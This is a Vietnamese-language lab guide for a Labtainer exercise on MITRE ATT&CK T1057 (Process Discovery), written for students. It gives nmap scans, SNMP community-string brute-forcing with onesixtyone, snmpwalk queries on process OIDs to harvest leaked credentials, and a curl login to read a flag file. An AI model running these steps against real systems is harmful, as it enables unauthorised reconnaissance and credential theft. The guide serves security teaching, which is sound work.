T1057 : Process Discovery

1. **Mục đích**

Giúp sinh viên hiểu rõ cách mà kẻ tấn công sử dụng để liệt kê các quy trình đang chạy trong hệ thống từ đó nâng cao khả năng nhận diện và đánh giá các hoạt động bất thường trên hệ thống.

2. **Yêu cầu đối với sinh viên**

Có kiến thức cơ bản về hệ điều hành Linux, hiểu cơ chế hoạt động của giao thức SNMP và cách thức, quy trình thu thập thông tin về đối tượng.

3. **Nội dung thực hành**

Khởi động bài lab:

Vào terminal, gõ:

labtainer -r pen_bsic_recon_t1057

(chú ý: sinh viên sử dụng mã sinh viên của mình để nhập thông tin email người thực hiện bài lab khi có yêu cầu, để sử dụng khi chấm điểm)

Sau khi khởi động xong một terminal ảo sẽ xuất hiện, đại diện cho máy tấn công: **client**.

Sử dụng công cụ nmap để quét các cổng, dịch vụ đang chạy trên server. Tạo thư mục nmap để có thể lưu các kết quả quét.

mkdir -p nmap

Quét toàn bộ cổng TCP

sudo nmap -sS -p- --min-rate 10000 -n -Pn -oA nmap/alltcp 172.50.2.20

Tiếp theo, sinh viên quét các dịch vụ trên các cổng đã mở

sudo nmap -sV -sC -p199,8443 -oA nmap/tcp-detail 172.50.2.20

Quét cả những cổng UDP với options -sU

sudo nmap -sU -p- -n -Pn -oA nmap/alludp 172.50.2.20

Kết quả rà quét cho thấy server đang sử dụng dịch vụ SNMP. Khai thác lỗ hổng misconfig community string bằng cách brute-force với công cụ onesixtyone và public wordlist. (SecLists, DiscoveryList, …), trước tiên cần tải public wordlist của SecLists về để làm input

wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/SNMP/snmp-onesixtyone.txt -O dict.txt

Thêm địa chỉ Ip của server vào file hosts

echo "172.50.2.20" > hosts

Sử dụng onesixtyone để quét SNMP community strings trên các host cùng lúc để phát hiên SNMP v1 đang mở và sử dụng community string dễ đoán. Thời gian quét có thể tốn khá nhiều thời gian.

onesixtyone -c dict.txt -i hosts -o my.log -w 100

Sau khi có được community string của SNMP agent. Sử dụng các công cụ như snmpwalk, snmpget, … cùng với các OID trong MIB để rà quét thông tin về server như thông tin giao diện mạng (IPv4, IPv6), username, uptimes, OS version, process running,…

snmpwalk -v [VERSION_SNMP] -c [COMM_STRING] [DIR_IP] .1

snmpwalk -v1 -c <comm_string> 172.50.2.20 .1

Sử dụng những OID truy vấn thông tin về các process đang chạy như: .1.3.6.1.2.1.25.4.2,…

Tìm kiếm những thông tin nhạy cảm hữu ích từ process list.

Trên port 8443 đang chạy một dịch vụ HTTP Auth Server, … (dùng curl). Nhập những thông tin đăng nhập bị lộ lọt để truy cập vào trang quản lý thư mục. Đọc file flag.txt

curl 172.50.2.20:8443/flag.txt -u username:password

Gợi ý: username và password có thể quét được từ task trên, sử dụng grep "username"

Kiểm tra kết quả:

Sinh viên kiểm tra tiến độ hoặc kết quả bài thực hành sử dụng lệnh:

checkwork

Kết thúc bài lab:

Trên terminal đầu tiên sử dụng câu lệnh sau để kết thúc bài lab:

stoplab pen_bsic_recon_t1057

Khi bài lab kết thúc, một tệp zip lưu kết quả được tạo và lưu vào một vị trí được hiển thị bên dưới stoplab.

Khởi động lại bài lab:

Trong quá trình làm bài sinh viên cần thực hiện lại bài lab, dùng câu lệnh:

labtainer –r pen_bsic_recon_t1057